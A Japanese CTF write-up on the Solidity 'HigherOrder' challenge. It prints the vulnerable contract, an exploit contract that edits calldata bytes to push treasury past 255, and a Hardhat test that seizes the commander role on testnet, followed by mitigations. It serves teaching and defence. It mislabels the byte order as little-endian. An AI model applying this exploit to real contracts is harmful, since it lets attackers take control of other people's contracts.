AiAda Docs / Smart Contract Writeups

Appearance

Return to top
On this page

CTF チャレンジ「HigherOrder」の詳細な技術解説：EVMアセンブリとカスタムデータ操作による脆弱性の悪用

はじめに

「HigherOrder」は、Ethereum仮想マシン（EVM）の低レベル操作とSolidityコンパイラの挙動を深く理解することを要求する高度なCTF（Capture The Flag）チャレンジです。この課題では、スマートコントラクトの脆弱性を特定し、意図しない状態変更を引き起こすことで、コントラクトの「司令官（Commander）」になることが目標です。本記事では、このチャレンジの技術的背景、脆弱性の詳細、そして実際の攻撃手法について詳しく解説します。

背景：EVMとSolidityのメモリモデル

EVMのストレージとメモリ構造

Ethereum仮想マシン（EVM）は、スマートコントラクトを実行するスタックベースの仮想マシンです。コントラクトの状態は「ストレージ」に永続的に保存され、各ストレージスロットは256ビット（32バイト）のサイズを持ちます。Solidityでは、コントラクト変数は宣言順にストレージスロットに割り当てられます。

Calldataと関数呼び出し

Ethereum上での関数呼び出しは、トランザクションのdataフィールド（calldata）を通じて行われます。Calldataは、関数セレクタ（4バイト）とその後の引数で構成されます。Solidity 0.6.12では、関数パラメータの型チェックと検証がコンパイル時に厳密に行われますが、インラインアセンブリを使用すると、これらの制約を回避できる可能性があります。

HigherOrderコントラクトの分析

コントラクト構造

提供されたHigherOrder.solコントラクトは、以下の主要なコンポーネントで構成されています：

solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;

contract HigherOrder {
    address public commander;  // ストレージスロット0
    uint256 public treasury;   // ストレージスロット1

    function registerTreasury(uint8) public {
        assembly {
            sstore(treasury_slot, calldataload(4))
        }
    }

    function claimLeadership() public {
        if (treasury > 255) commander = msg.sender;
        else revert("Only members of the Higher Order can become Commander");
    }
}

脆弱性の特定

このコントラクトには、以下の2つの重要な脆弱性が存在します：

  1. 型安全性の欠如：registerTreasury関数はuint8パラメータを宣言していますが、インラインアセンブリを使用して直接calldataから値を読み取っています。これにより、型チェックが回避されます。

  2. 境界チェックの欠如：アセンブリブロック内で、calldataload(4)はcalldataの4バイト目から32バイトを読み込みますが、uint8として宣言されているため、呼び出し元は最初の1バイトのみを送信すると期待されます。

技術的詳細：Calldataの構造と操作

Calldataのレイアウト

Solidityにおける関数呼び出し時、calldataは以下のように構成されます：

  • バイト0-3：関数セレクタ（registerTreasury(uint8)のkeccak256ハッシュの最初の4バイト）
  • バイト4-35：最初の引数（32バイトにパディングされたuint8値）

アセンブリ命令の詳細

solidity
assembly {
    sstore(treasury_slot, calldataload(4))
}

このコードは：

  1. calldataload(4)：calldataの4バイト目から32バイトを読み込む
  2. sstore(treasury_slot, ...)：読み込んだ値をtreasury変数のストレージスロットに保存する

ここでの問題は、uint8パラメータが宣言されているにもかかわらず、関数はcalldata全体の32バイトを読み込むことです。これにより、呼び出し元は意図した1バイト以上のデータを送信でき、その結果がtreasury変数に保存されます。

攻撃手法の詳細解説

攻撃の核心

攻撃の目標は、treasuryの値を256以上に設定し、claimLeadership()関数を通過させてcommanderを攻撃者のアドレスに設定することです。uint8の最大値は255であるため、正当な方法ではこの条件を満たせません。

カスタムCalldataの構築

攻撃コントラクトHack.solは、カスタムcalldataを構築してこの制限を回避します：

solidity
function cCommander() external {
    bytes memory data = abi.encodeWithSignature("registerTreasury(uint8)", uint8(1));
    data[35] = hex"00";
    data[34] = hex"01";
    
    (bool success,) = address(target).call(data);
    require(success, "Failed to catch commander!");
}

Calldataの操作詳細

  1. 標準的なエンコーディング：abi.encodeWithSignature("registerTreasury(uint8)", uint8(1))は、値1のuint8を32バイトにパディングしてエンコードします。結果のcalldataは36バイトになります。

  2. バイト操作：

    • data[35] = hex"00"：最後のバイトを0に設定
    • data[34] = hex"01"：最後から2番目のバイトを1に設定

  3. 結果の値：この操作により、calldataの4-35バイトは0x...0100（リトルエンディアンでは256）として解釈されます。

メモリレイアウトの視覚化 

元のcalldata (uint8(1) = 0x01):
[関数セレクタ(4バイト)][00...01(32バイト)]

修正後のcalldata:
[関数セレクタ(4バイト)][00...01 00(32バイト)]
                    ↑              ↑
                パディング      追加のバイト

テストケースの分析

提供されたTypeScriptテストケースは、攻撃の完全な流れを示しています：

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { HigherOrder, Hack } from "../typechain-types";

describe("HigherOrder", function () {
  describe("HigherOrder testnet online sepolia", function () {
    it("testnet online sepolia HigherOrder", async function () {
      // 初期状態の確認
      const HO_ADDRESS = "0x...";
      const HigherOrderFactory = await ethers.getContractFactory("HigherOrder");
      const HO_ABI = HigherOrderFactory.interface.format();
      const challenger = await ethers.getNamedSigner("deployer");
      const hoContract = new ethers.Contract(HO_ADDRESS, HO_ABI, challenger);

      const treasury_b = await hoContract.treasury();
      expect(treasury_b).to.be.equals(0);
      const ZERO_ADDRESS = ethers.zeroPadBytes("0x00", 20);
      const commander_b = await hoContract.commander();
      expect(commander_b).to.be.equals(ZERO_ADDRESS);

      // 攻撃コントラクトのデプロイ
      const HackFactory = await ethers.getContractFactory("Hack");
      const hack = (await HackFactory.deploy(HO_ADDRESS)) as Hack;
      await hack.waitForDeployment();

      // 攻撃の実行
      const tx = await hack.cCommander();
      await tx.wait();

      // リーダーシップの要求
      const tx2 = await hoContract.claimLeadership();
      await tx2.wait();

      // 結果の検証
      const treasury_a = await hoContract.treasury();
      expect(treasury_a).to.be.equals(256);
      const deployer = await ethers.getNamedSigner("deployer");
      const commander_a = await hoContract.commander();
      expect(commander_a).to.be.equals(deployer.address);
    });
  });
});

根本原因と防止策

根本原因

この脆弱性の根本原因は以下の組み合わせにあります：

  1. インラインアセンブリの不適切な使用
  2. 入力検証の欠如
  3. 型システムのバイパス

安全な実装

安全なバージョンのregisterTreasury関数は以下のようになります：

solidity
function registerTreasury(uint8 _value) public {
    // 明示的な型キャストと範囲チェック
    require(_value <= 255, "Value must be uint8");
    treasury = uint256(_value);
}

一般的なセキュリティプラクティス

  1. インラインアセンブリの最小化：可能な限り高レベルなSolidity構文を使用する
  2. 入力検証：すべての外部入力に対して適切な検証を実施する
  3. 型安全性の維持：アセンブリを使用する場合でも、型の整合性を維持する
  4. 境界チェック：配列や固定サイズ型の境界を常にチェックする

コンパイラの進化とセキュリティ

Solidityコンパイラの改善

「Compilers are constantly evolving into better spaceships」というヒントは、最新のSolidityコンパイラではこの種の脆弱性がより検出しやすくなっていることを示唆しています。Solidity 0.8.0以降では：

  • デフォルトで算術オーバーフローチェックが有効
  • より厳格な型チェック
  • アセンブリ使用時の警告強化

現代的なプラクティス

  1. 最新コンパイラの使用：常に最新の安定版Solidityコンパイラを使用する
  2. 静的解析ツール：SlitherやMythrilなどのツールを使用して潜在的な脆弱性を検出する
  3. 形式検証：重要なコントラクトに対して形式検証を実施する

結論

HigherOrderチャレンジは、EVMの低レベルな動作とSolidityの高レベルな抽象化の間にある危険な領域を浮き彫りにしています。インラインアセンブリは強力なツールですが、適切なガードなしで使用すると重大なセキュリティ脆弱性を導入する可能性があります。この課題から学ぶべき重要な教訓は：

  1. 「信頼するが検証せよ」：Calldataを含むすべての外部入力は検証が必要
  2. 抽象化の重要性：高レベルの言語機能はセキュリティを向上させる
  3. 防御的プログラミング：すべてのエッジケースを考慮したコードを書く

スマートコントラクト開発者は、低レベル操作の危険性を理解し、可能な限り高レベルな抽象化を使用することで、より安全なコントラクトを作成できます。このようなCTFチャレンジは、実世界のセキュリティ問題を理解し、防止するための貴重な学習機会を提供します。

Built with AiAda

Copyright © 2026